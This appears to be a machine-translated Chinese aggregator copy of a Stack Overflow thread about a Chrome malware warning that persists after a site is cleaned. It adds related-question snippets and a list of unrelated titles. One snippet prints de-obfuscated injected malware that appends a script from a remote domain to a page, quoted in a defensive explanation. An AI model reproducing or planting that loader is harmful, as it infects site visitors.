首页 \ 问答 \ Chrome说我的网站包含恶意软件?(Chrome says my website contains malware?)

Chrome说我的网站包含恶意软件?(Chrome says my website contains malware?)

Chrome说,当我访问我的网站,搜索后我清理我的代码从网站,但铬仍然显示,然后我删除了我的网站的所有文件,只是上传index.html(空白文件),但警告仍然显示。


Chrome saying while I am accessing my site, after searching I cleaned my code from the site but chrome still showing then I removed all files from my site and just upload index.html (blank file) but warning is still showing.


原文:https://stackoverflow.com/questions/14334035
更新时间:2019-07-02 03:24

最满意答案

Chrome的警告将基于黑名单,该黑名单记录在站点或域中发现恶意软件的位置,这不是实时“扫描”,并不一定表示该恶意软件位于页面或该特定时间 。 从您的问题中不清楚您是否创建了新文件夹和index.html,并且您在浏览该URL时也看到了恶意软件警告,或者您已将网站内容替换为空文件夹和index.html并且这个警告仍在显示。 一旦您已采取步骤对该网站进行消毒,那么您可以请求进行审核,以帮助删除http://support.google.com/webmasters/bin/answer.py?hl=zh_CN&answer=163633警告。

即使您对自己的网站内容有信心,也应该认真对待恶意软件警告,因为破解者使用自动工具包来查找网站中的漏洞并向其中注入代码来感染访问者,因为这些工具包基本上都是自动的,并不存在默默无闻的保护否则你可能会假设。

如果您无法找到并解决Chrome所警告的问题,那么您应该向访问者以及您自己的声誉负责,以便在解决问题之前将网站内容关闭。


Chrome warnings will be based on black-lists which record where malware has been found in a site or domain, this isn't a live "scan" and does not necessarily mean that malware is on that page or at that specific time. It is not clear from your question if you've created a new folder and index.html and you are also seeing a malware warning when browsing to that URL, or if you've replaced your site content with an empty folder and index.html and that warning is still showing. Once you have taken the steps to disinfect the site then you can request a review which should help remove the warning http://support.google.com/webmasters/bin/answer.py?hl=en&answer=163633.

The malware warning should be taken seriously even if you are confident in your own site content as crackers use automatic toolkits to find vulnerabilities in websites and inject code into them to infect visitors, as these kits are largely automatic there isn't the protection in obscurity you might otherwise assume.

If you've not been able to find and fix the issue Chrome is warning about, you owe it to your visitors- and your own reputation- to take the site content down until you can resolve the problem.

2013-01-15

相关问答

更多

网站感染了重新出现的JS恶意软件。(Website infected with re-appearing JS malware. What does this code do? [closed])

它是一个jjencode混淆脚本,将脚本附加到页面顶部。 这是非混淆的代码: ((function $anonymous$(){return"var el = document.createElement('script');el.src='https://web.clod.pw/js/YQHHAAUDYwBFglDXg0VSBVWyEDQ5dxGCBTNT8UDGUBBT0zPFUjCtARE2NzAVJSIPQ0FJABFUVTK_AABJVxIGEkH5QCFDBASVIhPPcREqYRF ...

在我的网站上禁用Chrome翻译栏(Disable Chrome translation bar on my website)

将其插入到您的网页的head 。 <meta name="google" content="notranslate" /> Insert this to the head section of your web page. <meta name="google" content="notranslate"> Source: Meta tag that Google understand - Search Console Help

恶意脚本在我的Wordpress实例中注入广告软件[已关闭](Malicious script injecting adware in my Wordpress instance [closed])

尝试下载整个主题文件夹和插件文件夹(使用所有插件)。 那么你需要在所有这些文件上运行搜索。 通常恶意软件代码正在使用eval函数,因此您应该在所有这些文件中搜索eval。 一个接一个地搜索将永远如此使用grep工具。 对于Windows,我会推荐windows grep http://www.wingrep.com/ 对于Mac,我会推荐visualGrep应用程序,它是付费应用程序,花费2美元左右,但完全值得。 如果你有linux,那么你需要自己找到软件,或者你可以从命令行运行这样的搜索。 (其 ...

Chrome插件启用后,如何从我的网站上的图片中隐藏Pin It按钮(How to hide Pin It button from images on my website when Chrome plugin is enabled)

好吧,我刚刚阅读Pinterest文档,要禁用页面或网站上的pinterest,只需添加一个元标记: <meta name="pinterest" content="nopin" /> 而pinterest按钮将不再出现在网站上。 Okay I just read the Pinterest documentation, To disable the pinterest on a page or website, just add a meta tag: <meta name="pinteres ...

Facebook分享按钮创建故事链接“通过”我的FB应用程序URL - 更改为网站URL(Facebook Share Button Creates Stories with link “via” my FB app URL - change to website URL)

解决方案是将您的Facebook应用程序设置为一个网站应用程序,将Facebook用户引导到您的网站。 去做这个: 转到你的应用页面 转到“设置” 单击添加平台按钮 选择网站选项 输入您网站的网址并保存 The solution is to set your facebook app to be a website app that directs facebook users to your website. To do this: go to you app page go to Settin ...

Chrome电子邮件字段自动填充选项未显示在我的网站上(Chrome email field autocomplete options not showing for my website)

看起来你想启用autocomplete ,但是你指定了错误的属性。 句法: 自动完成=“开|关” 为了保存第一次输入的电子邮件地址,您需要有一个form属性为method="POST"标签。 还建议使用autocompletetype属性来帮助浏览器更准确地填充表单。 注意:在某些情况下,在较旧的浏览器上,如果表单没有,您可能还需要添加一个操作。 action="javascript:void(0)"作品。 autocomplete on和method="POST"的示例: <form metho ...

如果另一个服务器/网站从我的服务器加载图像,如何判断?(If another server/website load image from my server, how to tell?)

请查看$_SERVER['HTTP_ACCEPT'] 。 当请求图像时,最流行的浏览器似乎都会发送修改后的ACCEPT:标头。 采取以下代码: <?php file_put_contents('/tmp/accept_headers.txt', $_SERVER['HTTP_ACCEPT'] . PHP_EOL . '---' . PHP_EOL, FILE_APPEND); ?> <img src="test.php"/> 当然, test.php是同一个文件,我得到以下结果: text/ht ...

“未定义”和“缓存/ xxx”附加到URL(“undefined” and “cache/xxx” appened to URLs)

基于这篇文章 ,我对“Complitly”Chrome插件/恶意软件进行了反向设计,发现这个扩展插入了一个“改进的自动完成”功能,它在每个有NAME输入文本字段的站点上抛出“未定义” “搜索”,“q”等等的ID。 我还发现enable.js文件(complitly文件之一)正在检查名为“suggestmeyes_loaded”的全局变量,以查看它是否已经加载(如单例)。 因此,将此变量设置为true会禁用该插件。 TL:DR; 要禁用恶意软件并停止“未定义”请求,请将其应用于网站上带有搜索字段的每 ...

相关文章

更多

最新问答

更多
  • Android宽度:100%修复(网站接管问题)(Android width:100% fix (website takeover issue))
  • C ++函数/方法设计的良好实践(Good practice in C++ function/method design)
  • 计算其他表中不存在的所有记录 - SQL查询(Count all records that does not exist to other table - SQL Query)
  • 为什么我要用JPA共享ID?(Why do I get shared Ids with JPA?)
  • asp.net - 如何显示来自html格式的数据行的字段(asp.net - how to display a field from data row that is in html format)
  • 我们如何使用ActiveRecord从连接表中删除行?(How can we delete rows from a join table by using ActiveRecord?)
  • ng-class搞乱了类的顺序(ng-class messing with the order of classes)
  • oracle 12g无效数字错误(oracle 12g invalid number error)
  • 更改ng-src值onclick(Change ng-src value onclick)
  • 如何在android中自动添加自定义依赖项以创建新项目?(How to add custom dependencies automatically in android for ever a new project is created?)
  • datetime函数在PHP中(datetime function in php)
  • 在javascript中获取会话数组的值(in javascript get the value of a session array)
  • 如何在UTF8中编译LaTeX?(How can I compile LaTeX in UTF8? [closed])
  • Rspec:“array.should == another_array”,但不用担心订单(Rspec: “array.should == another_array” but without concern for order)
  • Logcat错误:无法在android片段中加载视图(Logcat error: unable to load view in android fragments)
  • JavaFX的。(JavaFX. Adding items to the list in different threads is not working)
  • 从GDATA日历资源迁移到Google Calendar Resource api(Migrate from GDATA calendar resource to Google Calendar Resource api)
  • SSRS 2008 - 以零情景处理分割(SSRS 2008 - Dealing with division by zero scenarios)
  • 我如何以编程方式添加一个listView列标题的点击事件(How can I add a listView column header a click event programmatically)
  • Wxpython:无法检索有关列表控件项XXX的信息(Wxpython: Couldn't retrieve information about list control item XXX)
  • 使用Tortoise SVN在SVN存储库中移动目录(Move Directory across SVN repository using Tortoise SVN)
  • 天蓝色服务结构集群中的web api无状态服务是否在一段时间不活动后进入休眠状态?(Do web api stateless services in azure service fabric cluster go to sleep after a period of inactivity?)
  • 我可以设置intelliJ来突出显示PHP编码风格吗?(Can I set intelliJ to highlight php coding style?)
  • 用javafx创建一个Truetype字体文件(Creating a Truetype Font file with javafx)
  • Spring ftp配置错误(Spring ftp configuration is wrong)
  • 使用gsub去除多个字符(Using gsub to strip multiple characters)
  • 续订推送证书并保持当前的App Store App正常工作(Renew Push certificate and keep current App Store App working)
  • js:ES5和ES6之间关于'this'关键字用法的一个令人困惑的观点(js: one confusing point about 'this' keyword usage between ES5 and ES6)
  • window.onload vs $(document).ready()(window.onload vs $(document).ready())
  • 在Swift中,如何声明一个符合一个或多个协议的特定类型的变量?(In Swift, how can I declare a variable of a specific type that conforms to one or more protocols?)